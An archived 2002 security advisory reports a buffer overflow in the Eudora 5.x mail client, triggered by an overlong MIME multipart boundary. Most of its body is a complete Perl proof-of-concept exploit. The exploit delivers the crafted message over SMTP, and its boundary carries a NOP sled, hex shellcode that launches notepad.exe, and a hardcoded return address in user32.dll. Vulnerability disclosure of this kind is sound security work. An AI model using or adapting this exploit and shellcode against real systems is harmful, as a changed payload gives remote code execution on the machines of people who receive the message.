Visit our newest sister site!
Hundreds of free aircraft flight manuals
Civilian • Historical • Military • Declassified • FREE!


TUCoPS :: Windows Net Apps :: win5600.htm

Eudora buffer overflow in multi-part mime message



6th Aug 2002 [SBWID-5600]
COMMAND

	Eudora buffer overflow in multi-part mime message

SYSTEMS AFFECTED

	Eudora 5.x tested on :
	

	 Eudora 5.0-J for Windows (Ver.5.0.2-Jr2 trial) [Japanese]

	 Eudora 5.1.1 for Windows (Sponsored Mode) [English]

	

PROBLEM

	Nobuo Miwa  [n-miwa@lac.co.jp]  of  Computer  Security  Laboratory,  LAC
	[http://www.lac.co.jp/security/]   says   in   SecureNet    Service(SNS)
	security advisory [snsadv@lac.co.jp] :
	

	--snipp--
	

	The buffer overflow occurs when Eudora receives a message using  a  long
	string as a boundary, which is used to divide a multi-part message  into
	separate parts.
	

	--snipp--
	

	 Update (07 August 2002)

	 ======

	

	This is a proof of  concept  exploit  for  Eudora  5.x  buffer  overflow
	provided by Kanatoko [anvil@jumperz.net] [http://www.jumperz.net/] :
	

	Tested on:
	  Japanese Windows 2000 Professional SP2

	  Eudora Version 5.0.2-Jr2

	

	

	#!/usr/local/bin/perl

	

	#---------------------------------------------------------------------

	# Eudora Version 5.0.2-Jr2 exploit for Japanese Windows 2000 Pro (SP2)

	# written by Kanatoko <anvil@jumperz.net>

	# http://www.jumperz.net/

	#---------------------------------------------------------------------

	

	use Socket;

	

	$connect_host   = 'mail.jumperz.net';

	$port           = 25;

	$env_from       = 'anvil@jumperz.net';

	$env_to         = 'target@jumperz.net';

	$from           = 'anvil@jumperz.net';

	$to             = 'target@jumperz.net';

	

	$iaddr = inet_aton($connect_host) || die "Host Resolve Error.\n";

	$sock_addr = pack_sockaddr_in($port,$iaddr);

	socket(SOCKET,PF_INET,SOCK_STREAM,0) || die "Socket Error.\n";

	connect(SOCKET,$sock_addr) || die "Connect Error\n";

	select(SOCKET); $|=1; select(STDOUT);

	

	        #egg written by UNYUN (http://www.shadowpenguin.org/)

	        #57bytes

	$egg  = "\xEB\x27\x8B\x34\x24\x33\xC9\x33\xD2\xB2";

	$egg .= "\x0B\x03\xF2\x88\x0E\x2B\xF2\xB8\xAF\xA7";

	$egg .= "\xE6\x77\xB1\x05\xB2\x04\x2B\xE2\x89\x0C";

	$egg .= "\x24\x2B\xE2\x89\x34\x24\xFF\xD0\x90\xEB";

	$egg .= "\xFD\xE8\xD4\xFF\xFF\xFF";

	$egg .= "notepad.exe";

	

	$buf  = "\x90" x 121;

	$buf .= $egg;

	$buf .= "\xEB\xA0"; #JMP -0x60

	$buf .= "A" x 2;

	$buf .= "\x97\xAC\xE3\x77"; #0x77e3ac97 JMP EBX in user32.dll

	

	$hoge = <SOCKET>;

	print SOCKET "HELO hoge\x0D\x0A";

	$hoge = <SOCKET>;

	print SOCKET "MAIL FROM:<$env_from>\x0D\x0A";

	$hoge = <SOCKET>;

	print SOCKET "RCPT TO:<$env_to>\x0D\x0A";

	$hoge = <SOCKET>;

	print SOCKET "DATA\x0D\x0A";

	$hoge = <SOCKET>;

	

	print SOCKET << "_EOD_";

	MIME-Version: 1.0\x0D

	>From: $from\x0D

	To: $to\x0D

	Content-Type: multipart/mixed; boundary="$buf"\x0D

	\x0D

	.\x0D

	_EOD_

	$hoge = <SOCKET>;

	print SOCKET "QUIT\x0D\x0A";

	$hoge = <SOCKET>;

	

	

	-- 

	

SOLUTION

	The problem will be fixed in the next release of Eudora.


TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2014 AOH